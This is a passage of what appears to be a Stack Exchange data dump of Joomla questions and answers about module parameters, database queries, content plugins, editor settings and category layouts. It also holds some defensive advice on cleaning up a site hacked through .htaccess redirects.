  <row Id="17025" PostTypeId="2" ParentId="17015" CreationDate="2016-06-30T18:26:28.137" Score="2" Body="&lt;p&gt;So, after looking for a while... I've change this, under :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extensions &gt; Plugins &gt; Editor - TinyMCE &gt; New lines &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the attributes for New Lines from &quot;P Elements&quot; to &quot;BR Element&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But doing only that didn't change anything. I went through every articles and modules on my homepage and delete any space or line break at the end and beginning of each one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It solved it.&lt;/p&gt;&#xA;" OwnerUserId="8628" LastActivityDate="2016-06-30T18:26:28.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17027" PostTypeId="2" ParentId="17020" CreationDate="2016-07-01T01:38:06.030" Score="1" Body="&lt;p&gt;&lt;strong&gt;Compromised .htaccess&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per &lt;a href=&quot;https://blog.sucuri.net/2011/05/understanding-htaccess-attacks-part-1.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.sucuri.net/2011/05/understanding-htaccess-attacks-part-1.html&lt;/a&gt; it may be that the .htaccess file has been compromised and is redirecting certain visitors to a hacked page based on the referrer or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, visitors arriving at the website via a Google search may be redirected to the hacked page but visitors arriving at the site directly (e.g. the site owner) are not affected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hackers do this so as not to alert the website owner of the infection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cleaning Up a Hacked Website&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, it comes down to 3 choices: restore, rebuild or clean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cleaning using &lt;a href=&quot;https://mysites.guru&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mysites.guru&lt;/a&gt; (formerly myjoomla.com) or &lt;a href=&quot;http://sucuri.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://sucuri.net&lt;/a&gt; or similar is usually the most cost effective solution. For more details see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/a/2339/120&quot;&gt;https://joomla.stackexchange.com/a/2339/120&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2019-09-07T08:54:35.927" LastActivityDate="2019-09-07T08:54:35.927" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17028" PostTypeId="2" ParentId="17021" CreationDate="2016-07-01T06:08:37.210" Score="2" Body="&lt;p&gt;Your &lt;code&gt;$data&lt;/code&gt; needs to be just column names, not with any values.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array('articleId', 'title', 'sharetoken');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;code&gt;$values&lt;/code&gt; dosen't have correct &lt;code&gt;id&lt;/code&gt; right now, since your are quoting just pasic string, not a value of id.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$values = array($db-&amp;gt;quote($this-&amp;gt;get('id')), $db-&amp;gt;quote($title), $db-&amp;gt;quote($token));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, complete code should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = $this-&amp;gt;getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$data = array('articleId', 'title', 'sharetoken');&#xA;$values = array($db-&amp;gt;quote($this-&amp;gt;get('id')), $db-&amp;gt;quote($title), $db-&amp;gt;quote($token));&#xA;&#xA;$query&#xA;    -&amp;gt;insert($db-&amp;gt;quoteName('#__share_draft'))&#xA;    -&amp;gt;columns($db-&amp;gt;quoteName($data))&#xA;    -&amp;gt;values(implode(',', $values));&#xA;&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$table-&amp;gt;save($data);&#xA;&#xA;return $db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can have column names and values in same &lt;code&gt;array&lt;/code&gt; (if it makes more sense to you), but this requires some changes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array(&#xA;  'articleId'  =&amp;gt; $db-&amp;gt;quote($this-&amp;gt;get('id')),&#xA;  'title'      =&amp;gt; $db-&amp;gt;quote($title),&#xA;  'sharetoken' =&amp;gt; $db-&amp;gt;quote($token)&#xA;);&#xA;&#xA;$query&#xA;    -&amp;gt;insert($db-&amp;gt;quoteName('#__share_draft'))&#xA;    -&amp;gt;columns($db-&amp;gt;quoteName(array_keys($data)))&#xA;    -&amp;gt;values(implode(',', array_values($data)));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Check if id exists in table&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = $this-&amp;gt;getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query&#xA;  -&amp;gt;select('*')&#xA;  -&amp;gt;from($db-&amp;gt;quoteName('#__share_draft'));&#xA;  -&amp;gt;where($db-&amp;gt;quoteName('articleId') . ' = '. $db-&amp;gt;quote($this-&amp;gt;get('id')));&#xA;&#xA;$db-&amp;gt;execute();&#xA;$num_rows = $db-&amp;gt;getNumRows();&#xA;&#xA;if ($num_rows &amp;gt; 0) {&#xA;  // article with this ID exists&#xA;} else {&#xA;  // article dosen't exist&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2016-07-29T07:47:13.310" LastActivityDate="2016-07-29T07:47:13.310" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17029" PostTypeId="1" AcceptedAnswerId="17033" CreationDate="2016-07-01T06:26:18.747" Score="6" ViewCount="13576" Body="&lt;h1&gt;Part 1:&lt;/h1&gt;&#xA;&lt;h2&gt;How to get module parameters inside helper function?&lt;/h2&gt;&#xA;&lt;p&gt;I am trying to get the same module parameters inside the helper file.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class ModTestHelper&#xA;{&#xA;    public function getFoo () {&#xA;        return $this;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And then calling the getFoo() method in another file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$result = ModTestHelper::getFoo();&#xA;print_r($result);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Tells me &lt;code&gt;Non-static method ModTestHelper::getFoo() should not be called statically&lt;/code&gt; though it lists the result for &lt;code&gt;$this&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;But if I use static function:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public static function getFoo () {&#xA;    return $this;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then it would obviously tell me undefined variable &lt;code&gt;$this&lt;/code&gt;. Sorry self also don't work.&lt;/p&gt;&#xA;&lt;p&gt;I also tried with new instance instead of &lt;code&gt;ModTestHelper::getFoo()&lt;/code&gt; but no luck.&lt;/p&gt;&#xA;&lt;h1&gt;Part 2:&lt;/h1&gt;&#xA;&lt;h2&gt;How to get module parameters inside my module's custom form field type?&lt;/h2&gt;&#xA;&lt;p&gt;I am trying to use helper method inside fields:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mod_test/models/fields/foo.php&#xA;&#xA;&#xA;//I have called require statement for helper &#xA;// file before class declaration&#xA;public function getInput()&#xA;    {&#xA;        //helper method here&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So, I think there is another way to get the parameters of the module in the helper file.&lt;/p&gt;&#xA;" OwnerUserId="7206" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-07-07T14:50:27.603" Title="How to get module parameters inside helper function and how to get params inside a custom form field type?" Tags="|joomla-3.x|php|module|jform|form-fields-types|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17031" PostTypeId="2" ParentId="17029" CreationDate="2016-07-01T06:43:39.987" Score="4" Body="&lt;p&gt;Your main module file and template file will have &lt;code&gt;$params&lt;/code&gt; variable created by Joomla! core. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have static methods, then pass that variable to function call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ModTestHelper&#xA;{&#xA;    public static function getFoo ($params) {&#xA;        return $notthis; // whatever your return&#xA;    }&#xA;}&#xA;&#xA;&#xA;$result = ModTestHelper::getFoo($params);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if you want to use OOP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ModTestHelper&#xA;{&#xA;    // Holds params&#xA;    public $params = null;&#xA;&#xA;    public function __construct($params) {&#xA;        $this-&amp;gt;params = $params;&#xA;    }&#xA;&#xA;    public function getFoo () {&#xA;        // Params&#xA;        $someParam = $this-&amp;gt;params-&amp;gt;get('paramName');&#xA;&#xA;        return $notthis; // whatever your return&#xA;    }&#xA;}&#xA;&#xA;&#xA;$helper = new ModTestHelper($params);&#xA;$result = $helper-&amp;gt;getFoo();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2016-07-01T06:43:39.987" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="17032" PostTypeId="2" ParentId="17020" CreationDate="2016-07-01T06:43:56.770" Score="1" Body="&lt;p&gt;As others have pointed, this may be an &lt;code&gt;.htaccess&lt;/code&gt; hack. However, we are noticing a trend in the hacked Joomla websites, where such hacks are actually in the core. Try overwriting your core files from a fresh Joomla install (as described &lt;a href=&quot;http://www.itoctopus.com/a-super-fast-way-to-clean-a-hacked-joomla-website&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;) and see if that fixes the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are still seeing the problem, check your non-core extensions (modules, components, plugins, and templates) - the problem might be there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One last thing, check to see if there is an &lt;code&gt;.htaccess&lt;/code&gt; file in a higher directory (we had a few cases where that was the problem). For example, if your website is under &lt;code&gt;/home/your-user/public_html&lt;/code&gt; then check to see if there is an &lt;code&gt;.htaccess&lt;/code&gt; file under &lt;code&gt;/home/your-user/&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-07-01T06:43:56.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17033" PostTypeId="2" ParentId="17029" CreationDate="2016-07-01T06:47:06.287" Score="8" Body="&lt;h1&gt;1. How to get Modules parameters inside Helper Function&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You are going all wrong with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, you &lt;strong&gt;can't use &lt;code&gt;$this&lt;/code&gt; inside a static method&lt;/strong&gt;, because they are independent of any instantiated object. Static methods can be called without instantiating an object so there is no &lt;strong&gt;&lt;code&gt;$this&lt;/code&gt;&lt;/strong&gt; reference inside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/language.oop5.static.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://php.net/manual/en/language.oop5.static.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just for the completeness of things, you can use &lt;code&gt;self::yourClassMethod();&lt;/code&gt; to call other methods of your class inside your static method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, your method is inside your own Class, the one that you are building there. What you are wishing the &lt;strong&gt;&lt;code&gt;$this&lt;/code&gt;&lt;/strong&gt; would give you by using it inside your helperClass, is not and couldn't be the &lt;strong&gt;&lt;code&gt;$module&lt;/code&gt;&lt;/strong&gt; instance.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;a. Using a static method:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To access the params of the module to your static function, simply use the &lt;code&gt;$params&lt;/code&gt; as your method's parameter, and then pass the &lt;code&gt;$params&lt;/code&gt; to your method when calling it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In your helper Class:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function getFoo ($params) {&#xA;    return $params;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Then you call your static method:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$paramsAgain = ModTestHelper::getFoo($params);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Note :&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Obviously you need to call your static Method from inside a context where the $module/ $params exist, like the mod_module.php.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;b. Instantiating an Object of your HelperClass&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;See the @Lodder's and @Rene's answers, they both contain examples on how to use your method if it's not a static one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;2. How to access module parameters in your custom form field type.&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;When in your custom form field, you are inside the form of your module.&#xA;You can access the form with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$moduleFormObject = $this-&amp;gt;form;&#xA;$moduleParams = $this-&amp;gt;form-&amp;gt;getValue('params');&#xA;$moduleID = $this-&amp;gt;form-&amp;gt;getValue('id');&#xA;$moduleTitle = $this-&amp;gt;form-&amp;gt;getValue('title');&#xA;$moduleParamsMyField = $this-&amp;gt;form-&amp;gt;getValue('MyField', 'params'); // * params is the container of where the MyField is sitting.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-07-07T14:50:27.603" LastActivityDate="2017-07-07T14:50:27.603" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="17034" PostTypeId="2" ParentId="17029" CreationDate="2016-07-01T09:42:10.360" Score="7" Body="&lt;p&gt;I much prefer going for the OOP approach. This is what I use in one of my extensions. It's Ajax based so I have a separate function to get the parameters.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;helper.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class ModSomethingHelper&#xA;{&#xA;    private $params = null;&#xA;&#xA;    public function __construct($title)&#xA;    {&#xA;        $this-&amp;gt;params = $this-&amp;gt;getParams($title);&#xA;    }&#xA;&#xA;    public function getParams($title = null)&#xA;    {&#xA;        jimport('joomla.application.module.helper');&#xA;        $module = JModuleHelper::getModule('mod_something', $title);&#xA;        $moduleParams = new JRegistry;&#xA;        $moduleParams-&amp;gt;loadString($module-&amp;gt;params);&#xA;        return $moduleParams;&#xA;    }&#xA;&#xA;    public function test()&#xA;    {&#xA;        return $this-&amp;gt;params-&amp;gt;get('something');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;mod_something.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Include the helper&#xA;require_once dirname(__FILE__) . '/helper.php';&#xA;&#xA;// Get the title of the module to pass through the constructor&#xA;$title = $module-&amp;gt;title;&#xA;&#xA;// Initiate the helper&#xA;$helper = new ModSomethingHelper($title);&#xA;&#xA;Echo result from the test() function&#xA;echo $helper-&amp;gt;test();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Update:&lt;/h1&gt;&#xA;&lt;p&gt;To get the parameters in a custom form field, you can use the following:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;fields/myfield.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class JFormFieldMyfield extends JFormField&#xA;{&#xA;    protected $type = 'Myfield';&#xA;&#xA;    protected function getInput()&#xA;    {&#xA;        $input = JFactory::getApplication()-&amp;gt;input;&#xA;&#xA;        // Get and initiate helper&#xA;        require_once dirname(__FILE__) . './../helper.php';&#xA;        $helper = new ModSomethingHelper($input-&amp;gt;get('id'));&#xA;&#xA;        // Get params object&#xA;        $params = $helper-&amp;gt;getParams();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-07-01T10:49:31.570" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17035" PostTypeId="1" AcceptedAnswerId="17036" CreationDate="2016-07-01T15:38:48.353" Score="0" ViewCount="1349" Body="&lt;p&gt;I'm porting a code from a template override of &lt;code&gt;com_content&lt;/code&gt; &lt;strong&gt;category blog_item&lt;/strong&gt; into a module.&lt;br&gt;&#xA;Everything is all right done, except for one thing I'm struggling with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this code from &lt;code&gt;com_content&lt;/code&gt; tmpl:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;event-&amp;gt;beforeDisplayContent; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the module I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $item-&amp;gt;event-&amp;gt;beforeDisplayContent; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it is not working and it fires a notice (&quot;Notice: Trying to get property of non-object...&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion to have it working into a module?&lt;/p&gt;&#xA;" OwnerUserId="8631" LastEditorUserId="126" LastEditDate="2017-01-14T14:30:10.770" LastActivityDate="2017-01-14T14:30:10.770" Title="How to render content plugin into a module" Tags="|development|module|plugin|joomla-3.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17036" PostTypeId="2" ParentId="17035" CreationDate="2016-07-01T19:15:42.383" Score="0" Body="&lt;p&gt;I have no idea about how you build your module and what the &lt;code&gt;$item&lt;/code&gt; stands for there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you are loading the articles using the com_content's model and you have an array of &lt;strong&gt;&lt;code&gt;$items&lt;/code&gt;&lt;/strong&gt; with each &lt;code&gt;$item&lt;/code&gt; being an &lt;strong&gt;&lt;code&gt;Article Object&lt;/code&gt;&lt;/strong&gt;, returned by the &lt;code&gt;ContentModel&lt;/code&gt;, then you can do at the top of your module's template: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$dispatcher = JEventDispatcher::getInstance();&#xA;JPluginHelper::importPlugin('content');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your loop of the &lt;code&gt;$items&lt;/code&gt; (since you said you are porting over a category blog, I guess you will have a list of articles). &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($items as $item) {&#xA;&#xA;    // Get everything from the enabled OnContentBefore plugins in an array&#xA;    // passing the $item and $params as reference&#xA;    $results = $dispatcher-&amp;gt;trigger('onContentBeforeDisplay', array('com_content.article', &amp;amp;$item, &amp;amp;$item-&amp;gt;params, 0)); &#xA;&#xA;    $beforeDisplayContent = trim(implode(&quot;\n&quot;, $results));&#xA;&#xA;    echo $beforeDisplayContent . ' - ' . $item-&amp;gt;title;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;More reading: JPlugin Documentation:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Triggering_content_plugins_in_your_extension&quot; rel=&quot;nofollow noreferrer&quot;&gt;Triggering content plugins in extensions&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Plugin/Events/Content&quot; rel=&quot;nofollow noreferrer&quot;&gt;Content Plugin Events&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-01-14T14:28:59.640" LastActivityDate="2017-01-14T14:28:59.640" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17037" PostTypeId="1" CreationDate="2016-07-01T19:32:24.203" Score="1" ViewCount="34" Body="&lt;p&gt;I know how to add pages but I would like a cleaner interface that I see in other sites, such as Google Images&lt;/p&gt;&#xA;" OwnerUserId="8633" LastActivityDate="2016-07-01T23:25:59.390" Title="Too many images loading are slowing my loadtime, how to a feature which permits only 20 to show and another 20 when scrolled" Tags="|joomla-3.x|responsive-web-design|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17038" PostTypeId="2" ParentId="17037" CreationDate="2016-07-01T23:25:59.390" Score="1" Body="&lt;p&gt;Installing &lt;a href=&quot;http://extensions.joomla.org/extension/lazy-load-for-joomla&quot; rel=&quot;nofollow&quot;&gt;Lazy Load for Joomla&lt;/a&gt; will likely help. It's free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lazy Load for Joomla &quot;saves your server bandwidth and saves your users from loading images that they never scroll to&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could implement a gallery extension e.g. &lt;a href=&quot;http://extensions.joomla.org/extension/event-gallery&quot; rel=&quot;nofollow&quot;&gt;Event Gallery&lt;/a&gt; that uses AJAX or lazy loading or similar so that a minimum number of images are loaded initially.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-07-01T23:25:59.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17039" PostTypeId="1" AcceptedAnswerId="17043" CreationDate="2016-07-02T08:23:56.027" Score="0" ViewCount="52" Body="&lt;p&gt;After entering the following code in joomla &lt;code&gt;&amp;lt;div id=&quot;bottom_fade&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt; the following code automatically appears  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;&amp;lt;hr id=&quot;system-readmore&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;. However, when I remove &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;&amp;lt;div id=&quot;bottom_fade&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;the code &lt;code&gt;&amp;lt;hr id=&quot;system-readmore&quot; /&amp;gt;&lt;/code&gt; remains. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to prevent &lt;code&gt;&amp;lt;hr id=&quot;system-readmore&quot; /&amp;gt;&lt;/code&gt; from being entered? I think its part of the system but not sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Carlton&lt;/p&gt;&#xA;" OwnerUserId="8056" LastEditorUserId="8056" LastEditDate="2016-07-02T08:35:58.973" LastActivityDate="2016-07-02T14:47:48.700" Title="How to Remove Syntax In Source Editor" Tags="|joomla-3.4|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17040" PostTypeId="2" ParentId="16431" CreationDate="2016-07-02T10:19:01.350" Score="1" Body="&lt;p&gt;You are certainly going to need some php in order to achieve this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the well-know advanced Joomla Form builders could do the job, so it goes down to a matter of preference on which one to use.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;RS Form&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.rsjoomla.com/joomla-extensions/joomla-form.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;RSForm Pro&lt;/strong&gt;&lt;/a&gt; is certainly capable of doing this. There is much advanced functionality you can achieve, as it allows custom scripting for data and functionality manipulation in various points of the POST workflow. So, you can access and do anything you want with the full POST Data, send emails, save them in other database tables, use CURL to post to external «listeners» etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to the standard PHP Script events of the RSForm, there is &lt;a href=&quot;https://www.vdm.io/joomla/item/rsform-advance-php-plugin&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;RSForm Advanced PHP&lt;/strong&gt;&lt;/a&gt;, a 3rd party plugin that gives more «hook» points in the workflow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Fabrik&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Another great tool worths checking and you could consider is &lt;strong&gt;&lt;a href=&quot;http://fabrikar.com/&quot; rel=&quot;nofollow&quot;&gt;Fabrik&lt;/a&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a Form/Application Builder that provides great flexibility to build custom form /database applications inside Joomla. You can attach your own PHP scripts on the various forms or lists you create with it, to perform custom functionality if needed.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h3&gt;Note&lt;/h3&gt;&#xA;  &#xA;  &lt;p&gt;In Both the above components, when you write your own php you have access to the Joomla API, to facilitate the communication with&#xA;  your site, make you writing your code faster, and being compliant with&#xA;  Joomla.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;Disclaimer: I am not affiliated with any of the above extensions in any way&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-07-02T10:19:01.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17041" PostTypeId="1" CreationDate="2016-07-02T12:14:51.550" Score="1" ViewCount="923" Body="&lt;p&gt;In a 3.5 Joomla I have multiple articles and subcategories and want to show them in a page like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Computers&#xA;-- Article 1 -- Article 2 -- Article 3&#xA;Health&#xA;-- Article 4 -- Article 5 -- Article 6&#xA;Science&#xA;-- Article 7 -- Article 8 -- Article 9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I set it to blog and include all sub-categories, I just get all the 9 articles, while I also want their categories to show above as section titles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I do it with J3.5? Do I need a plugin?&lt;/p&gt;&#xA;" OwnerUserId="8635" LastEditorUserId="126" LastEditDate="2016-07-02T13:35:43.920" LastActivityDate="2016-07-02T13:38:56.377" Title="Blog page showing Categories and their Articles in blocks?" Tags="|module|articles|template-override|joomla-3.5|category-blog|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17042" PostTypeId="2" ParentId="17041" CreationDate="2016-07-02T13:18:41.450" Score="1" Body="&lt;p&gt;There are various combinations of things that can create your desired layout. You could go with Template Overrides for blog category, or Featured Articles layout, but maybe an easier approach is to use &lt;a href=&quot;http://extensions.joomla.org/category/news-display&quot; rel=&quot;nofollow noreferrer&quot;&gt;Modules for displaying news&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Recommended module: Raxo All-Mode Pro&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;One of my favorites one in my opinion and of the best Joomla news display modules is the &lt;strong&gt;&lt;a href=&quot;http://www.raxo.org/raxo-all-mode-pro.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;RAXO All-mode Pro&lt;/a&gt;&lt;/strong&gt;. I use it in most similar to yours cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Some of its features:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Easy to use. &lt;/li&gt;&#xA;&lt;li&gt;Many options for selecting/filtering what articles to display&lt;/li&gt;&#xA;&lt;li&gt;Options to show article metadata like images, author, category, hits, comments&lt;/li&gt;&#xA;&lt;li&gt;Good looking premade templates&lt;/li&gt;&#xA;&lt;li&gt;Easily create new custom templates / customizations&lt;/li&gt;&#xA;&lt;li&gt;Good support.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It's a paid module however, but totally worth it.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Basic steps to Create the desired blog layout using modules&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;So, either with the module I recommended or an other similar one, you could create 3 module instances, one for each category and you will adjust the each module's instance settings to display articles from those categories you want the way you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, how to display these modules in your page's main content, to server as blog split in displaying 3 